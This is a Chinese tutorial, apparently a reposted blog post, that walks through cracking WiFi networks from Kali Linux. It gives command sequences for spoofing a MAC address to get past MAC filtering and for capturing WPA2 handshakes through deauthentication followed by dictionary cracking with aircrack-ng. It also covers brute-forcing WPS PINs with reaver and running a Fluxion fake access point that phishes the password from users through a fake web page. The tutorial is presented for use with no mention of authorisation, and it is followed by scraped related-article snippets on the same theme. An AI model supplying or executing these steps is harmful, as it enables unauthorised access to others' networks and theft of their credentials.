本文希望可以帮助到想要学习接触此方面、或兴趣使然的你,让你有个大概的印象.
文中可能存在错误操作或错误理解,望大家不吝指正.

!阅前须知!
本文是基于我几年前的一本笔记本,上面记录了我学习网络基础时的部分笔记
本文中的工具可能已经过时,或者使用方法已经改变了,感兴趣可以深入查阅资料.
(但是我还是列出以前的使用方法供大家借鉴).

ps.若对无线攻击手段ARP欺骗感兴趣可以参考以下两篇文章
【无线安全实践入门】基础攻击手段与常用工具简介
【无线安全实践入门】网络扫描和ARP欺骗

ps.
本文环境在Kali下,学习最好具备一点linux基础知识.
本文中的'混杂模式'并不是所有网卡都支持,详请搜索支持网卡型号.
本文第一节和第二节的方法受限于硬件配置等因素,破解时间过长也是合理的.

1.Aircrack-ng套件

非常优秀的无线网络分析套件,功能强大.
许多安全软件套件都默认(添加/调用)此套件来完成操作.

--首先,先要切换到能够支持'混杂模式'的网卡(一般都是购买USB无线网卡)
--开启混杂模式(开启之后,网卡名可能会改变)
> ifconfig (网卡名) down
> iwconfig (网卡名) mode monitor
> ifconfig (网卡名) up

1.1.连接MAC地址绑定的wifi

--查看附件网络中的wifi,并观察其详细信息(channel、BSSID(MAC)等)
> airodump-ng (网卡名)--得知详细信息后,可以停止查看(ctrl+c)
--开始拿有效的mac地址信息(尽量等久点,包多点)
> airodump-ng -c (信道channel) --bssid (BSSID(MAC) (网卡名)--拿到有效mac地址(不要拿到路由器的mac)
--修改本机mac
> ifconfig (网卡名) down
> macchanger -m (MAC地址) (网卡名)
> ifconfig (网卡名) up--注意,此方法拿到有效mac地址,并未拿到wifi密码

1.2.WPA2加密的wifi

--查看附件网络中的wifi,并观察其详细信息(channel、BSSID(MAC)等)
> airodump-ng (网卡名)--得知详细信息后,可以停止查看(ctrl+c)
--开始进行查看route与client的mac地址,[-w]选项的意思就是write
> airodump-ng -w wpa -c (信道channel) --bssid (BSSID(MAC) (网卡名) --ignore-negative-one--查看route与client的mac地址
--开始获得握手包.cap
> airoplay-ng --deauth 10 -a (route的mac) -c (client的mac) (网卡名) --ignore-negative-one--对握手包.cap进行破解
aircrack-ng -w (指定字典) (cap握手包名)--字典可以自己制作(Crunch工具),也可以在网上下载大神的字典
--一个NB的字典,对你的破解!事半功倍!

1.3.WEP加密的wifi

--由于这种加密基本已经舍弃了,所以就不说了

2.路由器的PIN码破解

通过输入PIN码来连接wifi也是可以的,PIN码的破解也是一种不错的方法.
常见的工具有reaverminidwep-gtk等工具,这里我就说下reaver工具.

--首先,先要切换到能够支持'混杂模式'的网卡(一般都是购买USB无线网卡)
--开启混杂模式(开启之后,网卡名可能会改变)
> ifconfig (网卡名) down
> iwconfig (网卡名) mode monitor
> ifconfig (网卡名) up--选做:可以尝试扫描是否有启用WPS的wifi
--Wash工具就是一款针对'判断wifi是否启用WPS'的工具--查看附件网络中的wifi,并观察PWR值小于70的来破解(记录BSSID,记住要是路由器的)
> airodump-ng (网卡名)--开始进行破解(注意是路由器的MAC地址,PIN码是针对路由器的)
> reaver -i (网卡名) -b (路由器MAC地址) -a -S -vv--1.如果出现 warning fail to associate ...
--则说明破解失败(失败原因包括对象路由器未开启WPS等)
--2.提示给出了 PIN码 或 PIN码和PSK密钥(wifi密码)
--则说明破解成功(记录PIN码)/(使用PSK密钥直接尝试连接wifi)--选做:可以尝试得到wifi密码(PIN码是可以连wifi)
reaver -i (网卡名) -b (路由器MAC地址) -p (刚得到的PIN码)

3.Fluxion工具(推荐)

一个非常不错的社工破解wifi神器.

与前面操作思路不同.
它是通过模拟原有wifi(FakeAP),用户进行连接
然后wifi会断开网络,并向连接用户发送请求(浏览器跳转页面),请求输入原wifi密码
用户在收到请求后,只需输入正确密码,wifi就会恢复网络,而你获得wifi密码
注意,Fluxion会自动判断wifi密码是否正确,从而做出下一步操作
ps.此方法的好处就是不用耗费资源去破解密码.

ps.Fluxion运行时需要调用许多其它工具,部分工具可能需要另行下载(运行时会提示有哪些未下载)

--运行软件(在软件目录下)
> ./fluxion> 网卡(选择网卡)
> channels(选择所有信道)
> 扫描wifi(扫描到需要的结果时,按ctrl+c)
> 选择wifi(输入1、2、3等选择)
--建立一个假AP
> 选择攻击方式(选FakeAP-Hostapd...)
> 选择保存路径(可空格跳过,则保存在桌面/root/Desktop/)
--会自动出现窗口
> 握手包选择(aircrack-ng...)
--抓包分配包
> 数据包分配(Deauth all)--若是以上步骤正确完成,等抓包抓完,会出现选择
> 选择web interface
> 选择语言(提示用户输入密码时的界面语言)--等待用户连接上网,在浏览器输入正确密码(工具会自动验证密码是否正确),工具就会自动停止
--获得wifi正确密码

破解wifi可以说是比较有意思、并且有挑战性的一块知识点了,
更多的无线攻防操作,其实都是建立在连入局域网的前提之下的.

加油,共勉

转载于:https://www.cnblogs.com/PisecesPeng/p/11174595.html

【无线安全实践入门】破解WiFi密码的多个方法相关推荐

  1. 破解WIFI密码的最简单方法

    个人觉得破解wifi密码最简单的, 就是用kali 下的reaver工具了. 挂着一个晚上, 如果没有错误, 密码应出来了. 当然, 你要先确定你的网卡的芯片可以用于WIFI破解, 传送门 . 第一步 ...

  2. 关于破解WIFI密码的最简单方法

    个人觉得破解wifi密码最简单的, 就是用kali 下的reaver工具了. 挂着一个晚上, 如果没有错误, 密码应出来了. 当然, 你要先确定你的网卡的芯片可以用于WIFI破解, 传送门 . 第一步 ...

  3. 无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码

    系列文章 无线WiFi安全渗透与攻防(一)之无线安全环境搭建 无线WiFi安全渗透与攻防(二)之打造专属字典 windows下wifi进行扫描和破解 1.wifi扫描 (1).软件介绍 Wireles ...

  4. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  5. Mac系统安装Aircrack-ng破解wifi密码(2)

    我们上一篇文章说过如何通过Aircrack-ng, 破解使用WPA/PSK加密方式的路由密码, 这一篇介绍的是使用Aircrack-ng破解使用WEP加密方式的路由密码: WEP和WPA/PSK的区别 ...

  6. 用Python破解WiFi密码,太刺激了!

    来源丨网络 大家好,我是小z,也可以叫我阿粥~ 本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 脚本从无图形和图形界面来分别实现,主要使用的是pywi ...

  7. 教你如何使用Python破解WIFI密码

    首先要生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有 ...

  8. kali破解WiFi时wlan0没有变wlan0mon_黑客是如何破解WI-FI密码的?黑客破解了WI-FI之后能做什么?

    WI-FI密码破解 工具kali linux 操作系统,一款黑客专用操作系统. 1.开启无线网络监听模式 获取无线网卡名 使用命令: sudo ifconfig 开启无线网络监听使用命令 : sudo ...

  9. 使用AirCrack破解wifi密码(wpa/wpa2)

    本文使用的是Kali Linux,该系统主要以渗透测试及'破解wifi密码'闻名. 如果你使用Macbook,看这里:使用macbook破解WPA/WPA2 wifi密码 要求: 安装有Kali Li ...

  10. 牛逼了,用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

最新文章

  1. 7万能驱动64位离线_Dism++离线安装.NET Framework 3.5教程
  2. C# 乐观锁、悲观锁、共享锁、排它锁、互斥锁
  3. pthread_create会导致内存泄露
  4. 谷歌入职邮件_为什么我全职学习了8个月以接受Google采访
  5. Java之Normalizer(归一化)
  6. 数据自动机之如何使用CYaRon造数据
  7. php数量百分比,mysql PHP行数+百分比
  8. JSP的自定义标签(五)之Tag File
  9. 苹果基带芯片“分家” 一箭多雕
  10. yaahp使用教程_yaahp层次分析法软件
  11. 禁止华硕触摸板的纠结历程
  12. 飞信虚拟机支持数据库
  13. 如何找到QQ互联开发者认证在哪?
  14. 干眼症久治不愈?反复发作,小心可能不是干眼症!
  15. Android安卓自带的 WebView 浏览器内核更新
  16. 消息管理-自动回复文本消息
  17. 投资笔记4-投资风险认知
  18. 如何判断Map中的key或value是什么类型
  19. BIM模型到3Dtiles转换后精确定位工作流及存在的问题
  20. 企业文件防泄密整体解决方案

热门文章

  1. 用CSS实现立方体360度旋转
  2. ADI高速信号采集芯片与JESD204B接口简介
  3. html设置某一块一直在屏幕上方,gogo体育在线-gogo体育在线
  4. 运行Rundll.exe
  5. 流媒体协议(三):FLV协议
  6. C# HttpClientHelper
  7. 区分苹果开发者的网址(开发者网址和管理您的appid网址)及证书信息
  8. 【测绘程序设计】——大地坐标与空间直角坐标转换
  9. 原生JS如何在在指定位置插入元素,前面、后面
  10. 盗版WIN7的管理员权限